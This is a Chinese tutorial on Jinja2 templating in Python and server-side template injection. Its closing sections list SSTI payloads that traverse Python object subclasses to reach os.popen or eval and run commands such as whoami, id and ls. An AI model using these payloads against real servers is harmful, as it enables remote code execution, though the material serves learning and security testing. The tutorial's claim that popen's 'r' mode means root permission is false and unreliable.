模板注入

  • 什么是Flask
  • 什么是SSTI
  • 什么是JinJa2
  • 什么是模板引擎
  • Jinja2 详细知识
  • 基本语法
  • 基本用法
  • 一般用法
  • for语句的使用
  • if 语句
  • 继承
  • filter 语句的使用
  • 空白行处理
  • 类的详细知识
  • SSTI的payload
  • popen()方法
  • python中的SSTI常用的payload


什么是Flask

Flask是一个轻量级的python的web框架。轻量级说明他只适用于构建小型网站。

什么是SSTI

SSTI,Server-Site Template Injection,即服务器模板注入。同XSS注入,SQL注入,XPATH注入一样,他也是注入类的漏洞,形成此漏洞的原因和SQL注入类似,都是在对获取的输入没有过滤或转义,从而发生错误。
此类漏洞多发生在python语言写的网站上

什么是JinJa2

JinJa2是python下面的一个被广泛应用的模板引擎,他的设计思想来源于Django的模板引擎,并扩展了一系列强大的功能。最重要的增加了沙箱和自动转义功能,提高了应用的安全性。

什么是模板引擎

刚才我们解释JinJa2的时候说,他是一种模板引擎。那么什么是模板引擎呢?所谓模板引擎,是为了使用户界面与业务数据分离而产生的。他可以生成特定格式的文档,比如说用于网站的模板引擎就会生成一个标准的HTML文档。

所谓模板引擎,其实就是做一个模板,然后在套入对应位置的数据,最终以HTML的格式展现出来,这就是模板引擎的作用。

可以这样类比:开会!
在小学的时候,每次开会需要提前布置场地,搬好小板凳。而在上大学的时候,每次开会只用去学校的大会议室,桌子板凳音响全都有,人来了就可以使用,也可以复用。

模板引擎就好比已经准备好的桌子板凳音响,只要套入对应位置的数据,就可以直接生成HTML文档使用。


Jinja2 详细知识

基本语法

Jinja2作为一种模板引擎,肯定包含着变量表达式,因为这两者都可以被对应位置的数据替换赋值。模板中也含有标签,用来控制模板的逻辑

  • 语句{%...%}
  • 变量{{...}}
  • 注释{#...#}

常用的语句包括:for、if、set、include、block、filter等

变量是通过传递字典来进行使用,然而当使用for语句的时候,变量也可以是列表(比较字典没办法传给for)

基本用法

创建和渲染模板的最基本方法都是通过Template,通过创建一个Template实例,就可以得到一个新的模板对象。模板对象有一个render()方法,该方法可以再调用dict或者keywords参数时填充模板。

from jinja2 import Template

tem = Template('hello,{{name}}')

tem1 = tem.render(name = 'world')

print(tem1)
```输出hello,world```

一般用法

一般情况下,我们使用*.j2文件作为模板文件,用法如下:

This is a Jinja2 template file created by {{name}}

比如上面这就是一个以文件后缀名为j2保存的一个模板文件,接下来我们将给这个模板文件进行传参并输出。

# 导入各种要使用的包,下面介绍各个包的作用
from jinja2 import Environment,FileSystemLoader

# 这个包用来知道模板文件的路径
j2_loader = FileSystemLoader('./')

# 这个包用来指定模板文件的环境
env = Environment(loader=j2_loader)

#这个包用来指定模板文件,这条语句就相当于上面基本用法里面的使用Teplate创建一个模板对象
j2_tem = env.get_template('./jinja2.j2')

#这个直接开始调用模板文件,模板对象会提供函数render来进行传参
result = j2_tem.render(name='anda')

print(result)
// 输出

for语句的使用

# 进入for循环
{% for name in names %}

# for循环中对每个item进行操作
hello {{ name }}

# 结束for循环,必须存在
{% endfor %}

以上为模板文件语句,其文件名为jinja1_j2。

接下来将对这个模板语句调用

from jinja2 import Environment,FileSystemLoader

j2_loader = FileSystemLoader('./')

env = Environment(loader=j2_loader)

j2_tem = env.get_template('./jinja1.j2')

names = ['zhangsan','lisi','wangwu']

result = j2_tem.render(names=names)

print(result)

输出结果为

hello zhangsan



hello lisi



hello wangwu

for循环中也可以插入列表,如果列表的值是字典类型,那么也可以使用for循环对参数进行赋值。
比如:
模板文件

{% for person in persons %}

my name is {{person.name}},i am {{person.age}} years old

{% endfor %}

引用模板的python文件为

from jinja2 import Environment,FileSystemLoader

j2_loader = FileSystemLoader('./')

env = Environment(loader=j2_loader)

j2_tem = env.get_template('./jinja3.j2')

persons = [{'name':'zhangsan','age':'1'},
           {'name':'lisi','age':'2'},
           {'name':'wangwu','age':'3'}]

result = j2_tem.render(persons=persons)

print(result)

if 语句

if语句用来判断,当条件成立时,对语句块文件进行渲染(执行的意思),条件失败,则跳过该语句块。

将上个实例中的for模板修改,只有年龄大于2岁才可以打印输出,那么他的模板语句为

{% for person in persons %}


    {% if person.age > 2 %}

        my name is {{person.name}},i am {{person.age}} years old

    {% endif %}

{% endfor %}

相比于for循环,就多加了一句if,以及用来终止if的endif。其他都是没有什么变化的。

继承

在配置功能较多的模板文件时,可以使用模板继承,将模板分解开来。

使用include语句可以将一个模板完全插入到另一个模板中去

{% include 'jinja3.j2' %}

另一种继承方法是使用block语句,子模板引用父模板后,可以指定其中的某一些部分,如果子模板中不存在,则使用父模板中的值,父模板可以将block留空,让子模板直接填充内容

比方说,我们要先建立一个父模板,他的代码为

{% block test %}

This is line can be replaced

{% endblock %}
#父模板的block中间的模板语句是可以被子模板得block中间的语句取代的

This is father template

在建立一个子模板,他的代码为:

# extends用来继承父模板
{% extends 'jinja5_extend_father.j2' %}

# block后面名字相同的语句是可以取代父模板的
{% block test %}

This is children template

{% endblock %}

如果我们直接调用子模板,调用代码如下

from jinja2 import Environment,FileSystemLoader

j2_loader = FileSystemLoader('./')

env = Environment(loader=j2_loader)

j2_tem = env.get_template('./jinja5_extend_children.j2')

result = j2_tem.render()

print(result)

他的输出结果就是

This is children template
# 这句话代替了原来父模板中的block中间的'This is line can be replaced'这一句

This is father template
因为这句话没有在block中,所以没有被子模板中的语句代替,所以还是会继承过来,然后打印输出

filter 语句的使用

filter 语句的作用是对模板数据块的内容进行格式化修改。
比如:大小写转换、统计长度、计算绝对值等,这些都是内置的过滤器。过滤器需要放在表达式或者变量的后面,与表达式或者变量之间用'|'符号分割。比如{{name | upper()}}就是将name变量的值全部大写

除了内置过滤器外,也可以自定义过滤器。

自定义过滤器只是常规的python函数,只是将过滤器的左侧作为第一个参数,并且把参数作为额外的参数或关键字传递给过滤器。可以将自己写的函数或者模块导入到环境(就是指要调用模板的python文件)中,进而在Jinja2中使用

Jinja2的默认filter是一个字典,他的查看方式为:Environment.filters

使用方法:通过更新environment中的filters字典,在==模板环境(python文件下,不是j2文件下)==下注册。

空白行处理

在上面的实践中,会发现再生成的结果中,有很多空行,默认情况下,jinja2会给渲染之后的结果加上空行。

如果要出去模板中的空行,可以再for语句、变量表达式的开头或者结尾添加减号(-),就会删除这个语句块之前或者之后的空格

{% for name in names -%}
Hello {{ name }}.
{%- endfor %}

如果减号(-)放在 for 的结尾,就是删除语句块之前的空行,放在endfor 之前,是删除语句块之后的空行,如果前后的空行都删除了,则内容会在同一行。

类的详细知识

.__class__:用于返回该对象所属的类。

print('12'.__class__)		//输出<class 'str'>

print(12..__class__)		//输出<class 'float'>

__bases__:以元祖的形式返回一个类所直接继承的类,可以使用数组索引来查看特定位置的值
__base__:以字符串的形式返回一个类所直接继承的第一个类

__mro__:以元祖的形式返回解析方法调用的顺序,可以使用数组索引来查看特定位置的值

__subclasses__:以集合的形式返回获取类的所有子类,可以使用数组索引来查看特定位置的值

__init__:所有自带类都包含有init()方法,他相当于实例化一个对象,比如
print(().__class__.__init__),就相当于实例化一个object类的对象,而print(().__init__)就相当于实例化一个元组类的对象

__globals__
function.__globals__,用于获取对象所处空间下可使用的module、方法以及所有变量。他会把这个对象空间下(这里的空间就是同一个py文件就行)的所有的方法,变量都显示出来。意思就是他把他所在的py文件里的变量和方法都会给你打印出来,以字典的形式展现

__name__:模块的名称,就是类的名称,它返回的是字符串。比如print(().__class__.__name__)他就会输出tuple,表示()的类的类名为tuple,也就是元组

__builtins____globals__会返回这个类,所以它可以放在__globals__的后面,但因为__globals__是以字典的形式返回的,所以可以用__globals__['__builtins__']来使用。又因为__builtins__会以集合的方式返回所有内建函数,所以也包括有eval()__import__函数,所以SSTI注入的时候,可以利用这个类来执行。他的具体模块名为<class '_sitebuiltins.Quitter'>,大概有三个类有,<class 'warnings.catch_warnings'>在object类中的排序为140,还有一个在object类中排序为80的<class '_frozen_importlib.BuiltinImporter'>,还有一个排序为129的 <class '_sitebuiltins.Quitter'>类,我觉得没有必要纠结他的排序,完全可以用for循环自行判断这些类的顺序。重要的是掌握方法。

__import__():__import__()用于加载模块名,他的作用和import 模块名 的作用是一样的

下面是具体演示

class A:
    def __init__(self):
        pass

class B:
    def __init__(self):
        pass

class C(A):
    def __init__(self):
        pass
class D(A):
    def __init__(self):
        pass

c = C()
a = A()



print(c.__class__)		//输出<class '__main__.C'>
print(c.__class__.__bases__)	//输出(<class '__main__.A'>,)
print(c.__class__.__base__)		//输出<class '__main__.A'>
print(c.__class__.__mro__)		//输出(<class '__main__.C'>, <class '__main__.A'>, <class 'object'>)
print(a.__class__.__mro__.__init__())		//输出None
print(a.__class__.__subclasses__())		//输出[<class '__main__.C'>, <class '__main__.D'>]
print(a.__class__.__subclasses__()[0].__init__.__globals__)		//输出{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x00000239CF1A1CF8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D://xx/xx/1.py', '__cached__': None, 'A': <class '__main__.A'>, 'B': <class '__main__.B'>, 'C': <class '__main__.C'>, 'D': <class '__main__.D'>, 'c': <__main__.C object at 0x00000239CF2264E0>, 'a': <__main__.A object at 0x00000239CF2269B0>}
就是把这个文件下的所有的类,所有的方法全都打印输出

我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类,从而完成注入。

SSTI的payload

对于不同的python版本,paoload也是不同的。

popen()方法

它必须在os的类下面进行运行才可

格式:os.popen(command[, mode[, bufsize]])

command表示指令。
mode表示模式权限,默认为r,表示root权限
举例

import os

c = 'mkdir b'

os.popen(c,'r')		//他会创建一个名称为b的文件夹

python中的SSTI常用的payload

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()


"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()


"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()
//其实这里面的-1就是列表从右到左按下标取值,-1表示从右到左数的一个值

"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")


"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

或者用下面这种jinja2格式的payload

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
    {% endif %}
{% endfor %}

// 因为<class 'warnings.catch_warnings'>内部也有__builtins__属性,所以这个循环才会得以利用
''.__class__.__mro__[-1].__subclasses__()[128].__dir__(''.__class__.__mro__[-1].__subclasses__()[128])
// 可以使用这个查看某一类下面的所有方法,十分好用
{{''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()
}}

sys.modules  sys.modules是一个全局字典,字典sys.modules具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块。